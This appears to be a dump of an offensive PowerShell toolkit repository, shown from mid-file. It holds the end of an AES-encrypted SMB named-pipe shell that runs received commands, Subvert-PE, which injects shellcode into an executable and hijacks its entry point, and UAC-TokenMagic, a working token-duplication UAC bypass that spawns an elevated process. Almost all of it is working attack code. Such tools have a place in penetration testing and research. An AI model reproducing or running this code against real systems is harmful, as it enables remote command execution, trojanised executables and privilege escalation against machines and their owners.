| $data = $data -split ' ' 122 | $OutPut = [System.Text.Encoding]::UTF8.GetString($(Decrypt-Bytes -inBytes $data)) 123 | $OutPut 124 | } 125 | 126 | # Job are used here to support long running commands but 127 | # for now the shell doesn't have logic to specifically 128 | # invoke a job for such commands and IEX for others. 129 | function Command-Handler { 130 | param($data) 131 | $JobName = "SMBJob-$(Random-16)" 132 | $PoshJob = Start-Job -Name $JobName -Scriptblock ([scriptblock]::Create($data)) 133 | Wait-Job -Name $PoshJob.Name| Out-Null 134 | 135 | if ($((Get-Job $PoshJob.Name).HasMoreData) -eq $true) { 136 | # On Win10+ even jobs with no results show HasMoreData=True 137 | $JobResult = $(Receive-Job -Name $PoshJob.Name 2>&1|Out-String) 138 | if (!$JobResult) { 139 | echo "Job $($PoshJob.Name) completed successfully!" 140 | } else { 141 | $JobResult.trim() 142 | } 143 | } else { 144 | if($((Get-Job $PoshJob.Name).State) -eq "Failed"){ 145 | (Get-Job $PoshJob.Name).ChildJobs[0].JobStateInfo.Reason.Message 146 | } else { 147 | echo "Job $($PoshJob.Name) completed successfully!" 148 | } 149 | } 150 | 151 | Remove-Job -Name $PoshJob.Name 152 | } 153 | 154 | function Initialize-Pipe { 155 | if ($PipeMode -eq "Server") { 156 | echo "`n[>] Waiting for client..`n" 157 | $PipeObject.WaitForConnection() 158 | } else { 159 | try { 160 | # Add a 5s time-out in case the server is not live 161 | $PipeObject.Connect(5000) 162 | } catch { 163 | echo "[!] Server pipe not available!" 164 | Return 165 | } 166 | } 167 | 168 | $PipeReader = $PipeWriter = $null 169 | $PipeReader = new-object System.IO.StreamReader($PipeObject) 170 | $PipeWriter = new-object System.IO.StreamWriter($PipeObject) 171 | $PipeWriter.AutoFlush = $true 172 | 173 | Initialize-Session 174 | } 175 | 176 | function Initialize-Session { 177 | try { 178 | while($true) { 179 | 180 | # Server logic 181 | if ($PipeMode -eq "Server") { 182 | $Command = Read-Host "`nSMB shell" 183 | if ($Command) { 184 | $PipeWriter.WriteLine($(Write-Data -data $Command)) 185 | Read-Data -data $($PipeReader.ReadLine()) 186 | # Kill server and client 187 | if ($Command -eq "exit") { 188 | echo "[!] Terminating server..`n" 189 | break 190 | } 191 | # Disconnect client 192 | if ($Command -eq "leave") { 193 | break 194 | } 195 | } 196 | } 197 | 198 | # Client logic 199 | else { 200 | $Command = $pipeReader.ReadLine() 201 | if ($Command) { 202 | if ($(Read-Data -data $command) -eq "leave" -or $(Read-Data -data $command) -eq "exit") { 203 | $PipeWriter.WriteLine($(Write-Data -data "`n[!] Client disconnecting..")) 204 | break 205 | } else { 206 | $Result = Command-Handler -data $(Read-Data -data $Command) 207 | $PipeWriter.WriteLine($(Write-Data -data $Result)) 208 | } 209 | } 210 | } 211 | } 212 | } 213 | 214 | catch { 215 | # Shit happens! Error logic goes here .. at some point! 216 | } 217 | 218 | # Cleanup & leave logic 219 | finally { 220 | if ($PipeMode -eq "Server") { 221 | if ($Command -eq "exit") { 222 | $PipeObject.Dispose() 223 | # This else also recovers the server pipe 224 | # should the client fail for some reason 225 | } else { 226 | $PipeObject.Disconnect() 227 | Initialize-Pipe 228 | } 229 | } else { 230 | $PipeObject.Dispose() 231 | } 232 | } 233 | } 234 | 235 | # Generate Key/Pipe 236 | if ($PipeMode -eq "Server") { 237 | $AESKey = Random-16 238 | $Pipe = "tapsrv.5604.$(Random-16)" 239 | $PipeObject = New-Object System.IO.Pipes.NamedPipeServerStream($Pipe, [System.IO.Pipes.PipeDirection]::InOut) 240 | $ServerConfig = @" 241 | 242 | +------- 243 | | Host Name: $Env:COMPUTERNAME 244 | | Named Pipe: $Pipe 245 | | AES Key: $AESKey 246 | +------- 247 | "@ 248 | $ServerConfig 249 | } else { 250 | $PipeObject = new-object System.IO.Pipes.NamedPipeClientStream($Server, $Pipe, [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation) 251 | } 252 | 253 | Initialize-Pipe 254 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, FuzzySecurity 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of PowerShell-Suite nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | -------------------------------------------------------------------------------- /Subvert-PE.ps1: -------------------------------------------------------------------------------- 1 | function Subvert-PE { 2 | <# 3 | .SYNOPSIS 4 | 5 | Inject shellcode into a PE image while retaining the PE functionality. 6 | 7 | Author: Ruben Boonen (@FuzzySec) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .DESCRIPTION 13 | 14 | Parse a PE image, inject shellcode at the end of the code section and dynamically patch the entry point. After the shellcode executes, program execution is handed back over to the legitimate PE entry point. 15 | 16 | .PARAMETER Path 17 | 18 | Path to portable executable. 19 | 20 | .PARAMETER Write 21 | 22 | Inject shellcode and overwrite the PE. If omitted simply display "Entry Point", "Preferred Image Base" and dump the memory at the null-byte location. 23 | 24 | .EXAMPLE 25 | 26 | C:\PS> Subvert-PE -Path C:\Path\To\PE.exe 27 | 28 | .EXAMPLE 29 | 30 | C:\PS> Subvert-PE -Path C:\Path\To\PE.exe -Write 31 | 32 | .LINK 33 | 34 | http://www.fuzzysecurity.com/ 35 | #> 36 | 37 | param ( 38 | [Parameter(Mandatory = $True)] 39 | [string]$Path, 40 | [parameter(parametersetname="Write")] 41 | [switch]$Write 42 | ) 43 | 44 | # Read File bytes 45 | $bytes = [System.IO.File]::ReadAllBytes($Path) 46 | 47 | New-Variable -Option Constant -Name Magic -Value @{ 48 | "010b" = "PE32" 49 | "020b" = "PE32+" 50 | } 51 | 52 | # Function courtesy of @mattifestation 53 | function Local:ConvertTo-Int{ 54 | Param( 55 | [Parameter(Position = 1, Mandatory = $True)] 56 | [Byte[]] 57 | $array) 58 | switch ($array.Length){ 59 | # Convert to WORD & DWORD 60 | 2 { Write-Output ( [UInt16] ('0x{0}' -f (($array | % {$_.ToString('X2')}) -join '')) ) } 61 | 4 { Write-Output ( [Int32] ('0x{0}' -f (($array | % {$_.ToString('X2')}) -join '')) ) } 62 | } 63 | } 64 | 65 | # Offsets for calculations 66 | $PE = ConvertTo-Int $bytes[63..60] 67 | $NumOfPESection = ConvertTo-Int $bytes[($PE+7)..($PE+6)] 68 | $OptSize = ConvertTo-Int $bytes[($PE+21)..($PE+20)] 69 | $Opt = $PE + 24 70 | $SecTbl = $Opt + $OptSize 71 | 72 | # Entry point offset 73 | $EntryPointOffset = '{0:X8}' -f (ConvertTo-Int $bytes[($Opt+19)..($Opt+16)]) 74 | # Duplicate for calculating JMP later 75 | $EntryPointBefore = ConvertTo-Int $bytes[($Opt+19)..($Opt+16)] 76 | echo "`nLegitimate Entry Point Offset: 0x$EntryPointOffset" 77 | 78 | # PE magic number 79 | $MagicVal = $Magic[('{0:X4}' -f (ConvertTo-Int $bytes[($Opt+1)..($Opt+0)]))] 80 | # Preferred ImageBase, based on $MagicVal --> PE32 (DWORD), PE32+ (QWORD) 81 | If($MagicVal -eq "PE32"){ 82 | $ImageBase = '{0:X8}' -f (ConvertTo-Int $bytes[($Opt+31)..($Opt+28)]) 83 | 84 | } 85 | ElseIf($MagicVal -eq "PE32+"){ 86 | $QWORD = ( [UInt64] ('0x{0}' -f ((($bytes[($Opt+30)..($Opt+24)]) | % {$_.ToString('X2')}) -join '')) ) 87 | $ImageBase = '{0:X16}' -f $QWORD 88 | } 89 | 90 | # Preferred Image Base 91 | echo "Preferred PE Image Base: 0x$ImageBase" 92 | 93 | # Grab "Virtual Size" and "Virtual Address" for the CODE section. 94 | $SecVirtualSize = ConvertTo-Int $bytes[($SecTbl+11)..($SecTbl+8)] 95 | $SecVirtualAddress = ConvertTo-Int $bytes[($SecTbl+15)..($SecTbl+12)] 96 | 97 | # Precise start of CODE null-byte section! 98 | $NullCount = '{0:X8}' -f ($SecVirtualSize + $SecVirtualAddress) 99 | 100 | # Offset in PE is different [$SecVirtualSize + $SecVirtualAddress - ($SecVirtualAddress - $SecPTRRawData)] 101 | $SecPTRRawData = ConvertTo-Int $bytes[($SecTbl+23)..($SecTbl+20)] 102 | $ShellCodeWrite = ($SecVirtualSize + $SecVirtualAddress - ($SecVirtualAddress - $SecPTRRawData)) 103 | 104 | # Hexdump of null-byte padding (before) 105 | echo "`nNull-Byte Padding dump:" 106 | $output = "" 107 | foreach ( $count in $bytes[($ShellCodeWrite - 1)..($ShellCodeWrite+504)] ) { 108 | if (($output.length%32) -eq 0){ 109 | $output += "`n" 110 | } 111 | else{ 112 | $output += "{0:X2} " -f $count 113 | } 114 | } echo "$output`n" 115 | 116 | # If -Write flag is set 117 | if($Write){ 118 | 119 | # Set shellcode variable based on PE architecture 120 | If($MagicVal -eq "PE32"){ 121 | # 32-bit Universal WinExe (+ restore registers) --> calc (by SkyLined) 122 | # Size: 76 bytes 123 | $ShellCode = @(0x60,0x31,0xD2,0x52,0x68,0x63,0x61,0x6C,0x63, 124 | 0x54,0x59,0x52,0x51,0x64,0x8B,0x72,0x30,0x8B,0x76,0x0C,0x8B, 125 | 0x76,0x0C,0xAD,0x8B,0x30,0x8B,0x7E,0x18,0x8B,0x5F,0x3C,0x8B, 126 | 0x5C,0x1F,0x78,0x8B,0x74,0x1F,0x20,0x01,0xFE,0x8B,0x54,0x1F, 127 | 0x24,0x0F,0xB7,0x2C,0x17,0x42,0x42,0xAD,0x81,0x3C,0x07,0x57, 128 | 0x69,0x6E,0x45,0x75,0xF0,0x8B,0x74,0x1F,0x1C,0x01,0xFE,0x03, 129 | 0x3C,0xAE,0xFF,0xD7,0x58,0x58,0x61) 130 | } 131 | ElseIf($MagicVal -eq "PE32+"){ 132 | # 64-bit Universal WinExe (+ restore registers) --> calc (by SkyLined) 133 | # Size: 97 bytes 134 | $ShellCode = @(0x53,0x56,0x57,0x55,0x6A,0x60,0x5A,0x68,0x63, 135 | 0x61,0x6C,0x63,0x54,0x59,0x48,0x29,0xD4,0x65,0x48,0x8B,0x32, 136 | 0x48,0x8B,0x76,0x18,0x48,0x8B,0x76,0x10,0x48,0xAD,0x48,0x8B, 137 | 0x30,0x48,0x8B,0x7E,0x30,0x03,0x57,0x3C,0x8B,0x5C,0x17,0x28, 138 | 0x8B,0x74,0x1F,0x20,0x48,0x01,0xFE,0x8B,0x54,0x1F,0x24,0x0F, 139 | 0xB7,0x2C,0x17,0x8D,0x52,0x02,0xAD,0x81,0x3C,0x07,0x57,0x69, 140 | 0x6E,0x45,0x75,0xEF,0x8B,0x74,0x1F,0x1C,0x48,0x01,0xFE,0x8B, 141 | 0x34,0xAE,0x48,0x01,0xF7,0x99,0xFF,0xD7,0x48,0x83,0xC4,0x68, 142 | 0x5D,0x5F,0x5E,0x5B) 143 | } 144 | 145 | # Inject all the things! 146 | for($i=0; $i -lt $ShellCode.Length; $i++){ 147 | $bytes[($ShellCodeWrite + $i)] = $ShellCode[$i] 148 | } 149 | 150 | # Set new Entry Point Offset --> $NullCount 151 | $bytes[($Opt+19)] = [byte]('0x' + $NullCount.Substring(0,2)) 152 | $bytes[($Opt+18)] = [byte]('0x' + $NullCount.Substring(2,2)) 153 | $bytes[($Opt+17)] = [byte]('0x' + $NullCount.Substring(4,2)) 154 | $bytes[($Opt+16)] = [byte]('0x' + $NullCount.Substring(6,2)) 155 | 156 | # Modified Entry Point 157 | $EntryPointOffset = '{0:X8}' -f (ConvertTo-Int $bytes[($Opt+19)..($Opt+16)]) 158 | echo "Modified Entry Point Offset: 0x$EntryPointOffset" 159 | 160 | # Calculate & append farJMP 161 | $Distance = '{0:x}' -f ($EntryPointBefore - (ConvertTo-Int $bytes[($Opt+19)..($Opt+16)]) - $ShellCode.Length - 5) 162 | echo "Inject Far JMP: 0xe9$Distance" 163 | $bytes[($ShellCodeWrite + $ShellCode.Length)] = 0xE9 164 | $bytes[($ShellCodeWrite + $ShellCode.Length + 1)] = [byte]('0x' + $Distance.Substring(6,2)) 165 | $bytes[($ShellCodeWrite + $ShellCode.Length + 2)] = [byte]('0x' + $Distance.Substring(4,2)) 166 | $bytes[($ShellCodeWrite + $ShellCode.Length + 3)] = [byte]('0x' + $Distance.Substring(2,2)) 167 | $bytes[($ShellCodeWrite + $ShellCode.Length + 4)] = [byte]('0x' + $Distance.Substring(0,2)) 168 | 169 | # Hexdump of null-byte padding (after) 170 | echo "`nNull-Byte Padding After:" 171 | $output = "" 172 | foreach ( $count in $bytes[($ShellCodeWrite - 1)..($ShellCodeWrite+504)] ) { 173 | if (($output.length%32) -eq 0){ 174 | $output += "`n" 175 | } 176 | else{ 177 | $output += "{0:X2} " -f $count 178 | } 179 | } echo "$output`n" 180 | 181 | [System.IO.File]::WriteAllBytes($Path, $bytes) 182 | } 183 | } -------------------------------------------------------------------------------- /UAC-TokenMagic.ps1: -------------------------------------------------------------------------------- 1 | function UAC-TokenMagic { 2 | <# 3 | .SYNOPSIS 4 | Based on James Forshaw's three part post on UAC, linked below, and possibly a technique 5 | used by the CIA! 6 | 7 | Essentially we duplicate the token of an elevated process, lower it's mandatory 8 | integrity level, use it to create a new restricted token, impersonate it and 9 | use the Secondary Logon service to spawn a new process with High IL. Like 10 | playing hide-and-go-seek with tokens! ;)) 11 | 12 | This technique even bypasses the AlwaysNotify setting provided you supply it with 13 | a PID for an elevated process. 14 | 15 | Targets: 16 | 7,8,8.1,10,10RS1,10RS2 17 | 18 | Reference: 19 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html 20 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html 21 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html 22 | 23 | .DESCRIPTION 24 | Author: Ruben Boonen (@FuzzySec) 25 | License: BSD 3-Clause 26 | Required Dependencies: None 27 | Optional Dependencies: None 28 | 29 | .PARAMETER BinPath 30 | Full path of the module to be executed. 31 | 32 | .PARAMETER Args 33 | Arguments to pass to the module. 34 | 35 | .PARAMETER ProcPID 36 | PID of an elevated process. 37 | 38 | .EXAMPLE 39 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe 40 | 41 | .EXAMPLE 42 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116 43 | #> 44 | 45 | param( 46 | [Parameter(Mandatory = $True)] 47 | [String]$BinPath, 48 | [Parameter(Mandatory = $False)] 49 | [String]$Args, 50 | [Parameter(Mandatory = $False)] 51 | [int]$ProcPID 52 | ) 53 | 54 | Add-Type -TypeDefinition @" 55 | using System; 56 | using System.Diagnostics; 57 | using System.Runtime.InteropServices; 58 | using System.Security.Principal; 59 | 60 | [StructLayout(LayoutKind.Sequential)] 61 | public struct PROCESS_INFORMATION 62 | { 63 | public IntPtr hProcess; 64 | public IntPtr hThread; 65 | public uint dwProcessId; 66 | public uint dwThreadId; 67 | } 68 | 69 | [StructLayout(LayoutKind.Sequential)] 70 | public struct SECURITY_ATTRIBUTES 71 | { 72 | public int nLength; 73 | public IntPtr lpSecurityDescriptor; 74 | public int bInheritHandle; 75 | } 76 | 77 | [StructLayout(LayoutKind.Sequential)] 78 | public struct TOKEN_MANDATORY_LABEL 79 | { 80 | public SID_AND_ATTRIBUTES Label; 81 | } 82 | 83 | [StructLayout(LayoutKind.Sequential)] 84 | public struct SID_AND_ATTRIBUTES 85 | { 86 | public IntPtr Sid; 87 | public UInt32 Attributes; 88 | } 89 | 90 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 91 | public struct STARTUPINFO 92 | { 93 | public uint cb; 94 | public string lpReserved; 95 | public string lpDesktop; 96 | public string lpTitle; 97 | public uint dwX; 98 | public uint dwY; 99 | public uint dwXSize; 100 | public uint dwYSize; 101 | public uint dwXCountChars; 102 | public uint dwYCountChars; 103 | public uint dwFillAttribute; 104 | public uint dwFlags; 105 | public short wShowWindow; 106 | public short cbReserved2; 107 | public IntPtr lpReserved2; 108 | public IntPtr hStdInput; 109 | public IntPtr hStdOutput; 110 | public IntPtr hStdError; 111 | } 112 | 113 | public struct SID_IDENTIFIER_AUTHORITY 114 | { 115 | [MarshalAs(UnmanagedType.ByValArray, SizeConst=6)] 116 | public byte[] Value; 117 | public SID_IDENTIFIER_AUTHORITY(byte[] value) 118 | { 119 | Value = value; 120 | } 121 | } 122 | 123 | [StructLayout(LayoutKind.Sequential)] 124 | public struct SHELLEXECUTEINFO 125 | { 126 | public int cbSize; 127 | public uint fMask; 128 | public IntPtr hwnd; 129 | [MarshalAs(UnmanagedType.LPTStr)] 130 | public string lpVerb; 131 | [MarshalAs(UnmanagedType.LPTStr)] 132 | public string lpFile; 133 | [MarshalAs(UnmanagedType.LPTStr)] 134 | public string lpParameters; 135 | [MarshalAs(UnmanagedType.LPTStr)] 136 | public string lpDirectory; 137 | public int nShow; 138 | public IntPtr hInstApp; 139 | public IntPtr lpIDList; 140 | [MarshalAs(UnmanagedType.LPTStr)] 141 | public string lpClass; 142 | public IntPtr hkeyClass; 143 | public uint dwHotKey; 144 | public IntPtr hIcon; 145 | public IntPtr hProcess; 146 | } 147 | 148 | public static class UACTokenMagic 149 | { 150 | [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)] 151 | public static extern bool CreateProcessWithLogonW( 152 | String userName, 153 | String domain, 154 | String password, 155 | int logonFlags, 156 | String applicationName, 157 | String commandLine, 158 | int creationFlags, 159 | int environment, 160 | String currentDirectory, 161 | ref STARTUPINFO startupInfo, 162 | out PROCESS_INFORMATION processInformation); 163 | 164 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 165 | public static extern IntPtr CreateFile( 166 | String lpFileName, 167 | UInt32 dwDesiredAccess, 168 | UInt32 dwShareMode, 169 | IntPtr lpSecurityAttributes, 170 | UInt32 dwCreationDisposition, 171 | UInt32 dwFlagsAndAttributes, 172 | IntPtr hTemplateFile); 173 | 174 | [DllImport("kernel32.dll")] 175 | public static extern IntPtr OpenProcess( 176 | UInt32 processAccess, 177 | bool bInheritHandle, 178 | int processId); 179 | 180 | [DllImport("advapi32.dll")] 181 | public static extern bool OpenProcessToken( 182 | IntPtr ProcessHandle, 183 | int DesiredAccess, 184 | ref IntPtr TokenHandle); 185 | 186 | [DllImport("advapi32.dll", CharSet=CharSet.Auto)] 187 | public extern static bool DuplicateTokenEx( 188 | IntPtr hExistingToken, 189 | uint dwDesiredAccess, 190 | ref SECURITY_ATTRIBUTES lpTokenAttributes, 191 | int ImpersonationLevel, 192 | int TokenType, 193 | ref IntPtr phNewToken); 194 | 195 | [DllImport("advapi32.dll")] 196 | public static extern bool AllocateAndInitializeSid( 197 | ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, 198 | byte nSubAuthorityCount, 199 | int dwSubAuthority0, int dwSubAuthority1, 200 | int dwSubAuthority2, int dwSubAuthority3, 201 | int dwSubAuthority4, int dwSubAuthority5, 202 | int dwSubAuthority6, int dwSubAuthority7, 203 | ref IntPtr pSid); 204 | 205 | [DllImport("ntdll.dll")] 206 | public static extern int NtSetInformationToken( 207 | IntPtr TokenHandle, 208 | int TokenInformationClass, 209 | ref TOKEN_MANDATORY_LABEL TokenInformation, 210 | int TokenInformationLength); 211 | 212 | [DllImport("ntdll.dll")] 213 | public static extern int NtFilterToken( 214 | IntPtr TokenHandle, 215 | UInt32 Flags, 216 | IntPtr SidsToDisable, 217 | IntPtr PrivilegesToDelete, 218 | IntPtr RestrictedSids, 219 | ref IntPtr hToken); 220 | 221 | [DllImport("advapi32.dll")] 222 | public static extern bool ImpersonateLoggedOnUser( 223 | IntPtr hToken); 224 | 225 | [DllImport("kernel32.dll", SetLastError=true)] 226 | public static extern bool TerminateProcess( 227 | IntPtr hProcess, 228 | uint uExitCode); 229 | 230 | [DllImport("shell32.dll", CharSet = CharSet.Auto)] 231 | public static extern bool ShellExecuteEx( 232 | ref SHELLEXECUTEINFO lpExecInfo); 233 | } 234 | "@ 235 | 236 | # Test elevated access 237 | $TestAccess = New-Item -Path C:\Windows\System32\test.txt -Type file -ErrorAction SilentlyContinue 238 | if (!$TestAccess) { 239 | echo "`n[*] Session is not elevated" 240 | } else { 241 | echo "`n[!] Session is elevated!`n" 242 | del C:\Windows\System32\test.txt 243 | Break 244 | } 245 | 246 | if ($ProcPID){ 247 | $IsValidProc = Get-Process -Id $ProcPID -ErrorAction SilentlyContinue 248 | if (!$IsValidProc) { 249 | echo "[!] Invalid process specified!`n" 250 | Break 251 | } 252 | 253 | # We don't actually check if the process is elevated, be smart 254 | # QueryLimitedInformation = 0x1000 255 | $hProcess = [UACTokenMagic]::OpenProcess(0x00001000,$false,$ProcPID) 256 | if ($hProcess -ne 0) { 257 | echo "[*] Successfully acquired $((Get-Process -Id $ProcPID).Name) handle" 258 | } else { 259 | echo "[!] Failed to get process token!`n" 260 | Break 261 | } 262 | } else { 263 | # Prepare ShellExecuteEx 264 | $ShellExecuteInfo = New-Object SHELLEXECUTEINFO 265 | $ShellExecuteInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($ShellExecuteInfo) 266 | $ShellExecuteInfo.fMask = 0x40 # SEE_MASK_NOCLOSEPROCESS 267 | $ShellExecuteInfo.lpFile = "wusa.exe" 268 | $ShellExecuteInfo.nShow = 0x0 # SW_HIDE 269 | 270 | if ([UACTokenMagic]::ShellExecuteEx([ref]$ShellExecuteInfo)) { 271 | echo "[*] WUSA process created" 272 | $hProcess = $ShellExecuteInfo.hProcess 273 | } else { 274 | echo "[!] Failed to create WUSA process!`n" 275 | Break 276 | } 277 | } 278 | 279 | # Open process token 280 | $hToken = [IntPtr]::Zero 281 | if ([UACTokenMagic]::OpenProcessToken($hProcess,0x02000000,[ref]$hToken)) { 282 | echo "[*] Opened process token" 283 | } else { 284 | echo "[!] Failed open process token!`n" 285 | Break 286 | } 287 | 288 | # Duplicate token 289 | # TOKEN_ALL_ACCESS = 0xf01ff 290 | $hNewToken = [IntPtr]::Zero 291 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES 292 | if ([UACTokenMagic]::DuplicateTokenEx($hToken,0xf01ff,[ref]$SECURITY_ATTRIBUTES,2,1,[ref]$hNewToken)) { 293 | echo "[*] Duplicated process token" 294 | } else { 295 | echo "[!] Failed to duplicate process token!`n" 296 | Break 297 | } 298 | 299 | # SID initialize 300 | $SID_IDENTIFIER_AUTHORITY = New-Object SID_IDENTIFIER_AUTHORITY 301 | $SID_IDENTIFIER_AUTHORITY.Value = [Byte[]](0x0,0x0,0x0,0x0,0x0,0x10) 302 | $pSID = [IntPtr]::Zero 303 | if ([UACTokenMagic]::AllocateAndInitializeSid([ref]$SID_IDENTIFIER_AUTHORITY,1,0x2000,0,0,0,0,0,0,0,[ref]$pSID)) { 304 | echo "[*] Initialized MedIL SID" 305 | } else { 306 | echo "[!] Failed initialize SID!`n" 307 | Break 308 | } 309 | 310 | # Token integrity label 311 | $SID_AND_ATTRIBUTES = New-Object SID_AND_ATTRIBUTES 312 | $SID_AND_ATTRIBUTES.Sid = $pSID 313 | $SID_AND_ATTRIBUTES.Attributes = 0x20 # SE_GROUP_INTEGRITY 314 | $TOKEN_MANDATORY_LABEL = New-Object TOKEN_MANDATORY_LABEL 315 | $TOKEN_MANDATORY_LABEL.Label = $SID_AND_ATTRIBUTES 316 | $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL) 317 | if([UACTokenMagic]::NtSetInformationToken($hNewToken,25,[ref]$TOKEN_MANDATORY_LABEL,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) { 318 | echo "[*] Lowered token mandatory IL" 319 | } else { 320 | echo "[!] Failed modify token!`n" 321 | Break 322 | } 323 | 324 | # Create restricted token 325 | # LUA_TOKEN = 0x4 326 | $LUAToken = [IntPtr]::Zero 327 | if([UACTokenMagic]::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) { 328 | echo "[*] Created restricted token" 329 | } else { 330 | echo "[!] Failed to create restricted token!`n" 331 | Break 332 | } 333 | 334 | # Duplicate restricted token 335 | # TOKEN_IMPERSONATE | TOKEN_QUERY = 0xc 336 | $hNewToken = [IntPtr]::Zero 337 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES 338 | if ([UACTokenMagic]::DuplicateTokenEx($LUAToken,0xc,[ref]$SECURITY_ATTRIBUTES,2,2,[ref]$hNewToken)) { 339 | echo "[*] Duplicated restricted token" 340 | } else { 341 | echo "[!] Failed to duplicate restricted token!`n" 342 | Break 343 | } 344 | 345 | # Impersonate security context 346 | if([UACTokenMagic]::ImpersonateLoggedOnUser($hNewToken)) { 347 | echo "[*] Successfully impersonated security context" 348 | } else { 349 | echo "[!] Failed impersonate context!`n" 350 | Break 351 | } 352 | 353 | # Prepare CreateProcessWithLogon 354 | $StartupInfo = New-Object STARTUPINFO 355 | $StartupInfo.dwFlags = 0x00000001 356 | $StartupInfo.wShowWindow = 0x0001 357 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) 358 | $ProcessInfo = New-Object PROCESS_INFORMATION 359 | 360 | # Spawn elevated process 361 | # LOGON_NETCREDENTIALS_ONLY = 0x2 362 | $CurrentDirectory = $Env:SystemRoot 363 | if ([UACTokenMagic]::CreateProcessWithLogonW("aaa", "bbb", "ccc", 0x00000002, $BinPath, $Args, 0x04000000, $null, $CurrentDirectory,[ref]$StartupInfo, [ref]$ProcessInfo)) { 364 | echo "[*] Magic..`n" 365 | } else { 366 | echo "[!] Failed to create process!`n" 367 | Break 368 | } 369 | 370 | # Kill wusa, there should be more/robust cleanup in the script, but ... lazy 371 | if (!$ProcPID) { 372 | $CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1) 373 | } 374 | } --------------------------------------------------------------------------------